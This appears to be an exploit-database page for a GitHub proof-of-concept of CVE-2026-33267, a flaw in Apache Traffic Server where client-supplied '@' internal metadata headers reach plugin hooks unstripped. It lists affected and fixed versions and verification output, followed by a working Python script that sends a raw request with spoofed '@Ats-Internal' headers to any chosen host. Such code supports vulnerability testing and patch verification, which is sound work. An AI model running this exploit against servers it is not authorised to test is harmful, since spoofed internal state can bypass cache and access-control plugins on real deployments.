Exploit database

GH-b5a86ce1404ea244d41b6122b320aa4e

boreas37/cve-2026-33267-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-33267

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
boreas37/cve-2026-33267-pocRevision 17bb1aa14a0c

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

at_headers_spoof.py

Suggested starting filePython · 2,817 bytes
#!/usr/bin/env python3
"""
CVE-2026-33267 — Apache Traffic Server untrusted '@' header → internal metadata spoof

Affected : ATS 9.2.0–9.2.14, 10.1.0–10.1.3
Fixed in : 9.2.15 / 10.1.4 (strip external @ headers before plugin hooks)
CVSS     : 10.0 (Critical, per NVD)
GHSA     : GHSA-jrh6-9hgv-mqm7
Fix      : 9.2.x a9aee837db, master/10.1.x 4ab63dbd93

Vulnerability
-------------
ATS uses '@'-prefixed headers (e.g. @Ats-Internal, @ICAP-Status, @TCPInfo) as
internal metadata: they are not serialized on the wire, but live in the in-memory
header structure. In vulnerable versions, '@' headers supplied by the client
request and by the origin response are NOT stripped before plugin hooks
(TS_HTTP_READ_REQUEST_HDR_HOOK, TS_HTTP_READ_RESPONSE_HDR_HOOK, remap plugins)
run. An attacker can therefore spoof ATS internal metadata, and plugins
(cache, ACL, header_rewrite, ...) may trust attacker-controlled internal state.

Verification (2026-08-12, RPi5/arm64 Docker)
---------------------------------------------
- trafficserver/trafficserver:10.1.2 (vulnerable) + custom at_probe plugin:
    VULN: plugin observed client-supplied @ header: @Ats-Internal   <-- leaked
    VULN: plugin observed origin-supplied @ header: @Origin-Test    <-- leaked
- trafficserver 10.1.4 built from source (/opt/ats-fixed), same plugin:
    ERROR: stripped internal @ header from client request: @Ats-Internal  <-- blocked
    ERROR: stripped internal @ header from client request: @Another-At   <-- blocked
    ERROR: stripped internal @ header from origin response: @Origin-Test <-- blocked
- Negative control: 0 observations in the fixed build (plugin never sees them).

Usage
-----
curl silently drops '@' headers, so a raw socket is required:

    python3 at_headers_spoof.py <host> <port> [path]

    e.g. python3 at_headers_spoof.py 127.0.0.1 8080 /
         (sends GET with @Ats-Internal + @Another-At, prints response head)
"""
import socket
import sys


def main():
    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080
    path = sys.argv[3] if len(sys.argv) > 3 else "/"

    req = (
        f"GET {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        "@Ats-Internal: pwned\r\n"
        "@Another-At: test\r\n"
        "Connection: close\r\n"
        "\r\n"
    )

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((host, port))
    s.sendall(req.encode())
    resp = b""
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            resp += chunk
    except socket.timeout:
        pass
    s.close()

    print(f"[*] {host}:{port} -> {len(resp)} bytes")
    print(resp[:400].decode(errors="replace"))


if __name__ == "__main__":
    main()